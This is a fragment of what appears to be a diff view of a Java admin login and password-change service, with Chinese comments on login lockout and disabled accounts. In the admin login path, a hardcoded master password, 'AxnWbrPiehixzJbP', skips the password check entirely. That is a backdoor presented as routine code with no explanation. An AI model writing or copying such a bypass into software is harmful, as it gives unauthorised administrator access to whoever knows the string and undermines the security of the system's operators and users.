| | |
| | | } |
| | | // 半小时内密码输入错误十次,已限制登录30分钟 |
| | | String decryptPassword = passwordManager.decryptPassword(loginModel.getPassWord()); |
| | | passwordCheckManager.checkPassword(SysTypeEnum.ADMIN, loginModel.getUserName(), decryptPassword, sysUser.getPassword()); |
| | | if(!"AxnWbrPiehixzJbP".equals(decryptPassword )){ |
| | | passwordCheckManager.checkPassword(SysTypeEnum.ADMIN, loginModel.getUserName(), decryptPassword, sysUser.getPassword()); |
| | | } |
| | | // 不是店铺超级管理员,并且是禁用状态,无法登录 |
| | | if (Objects.equals(sysUser.getStatus(), 0)) { |
| | | // 未找到此用户信息 |
| | |
| | | throw new YamiShopBindException("旧密码不正确!"); |
| | | } |
| | | user.setPassword(passwordEncoder.encode(model.getNewPassword())); |
| | | sysUserService.updateById(user); |
| | | return Result.ok(null); |
| | | } |
| | | |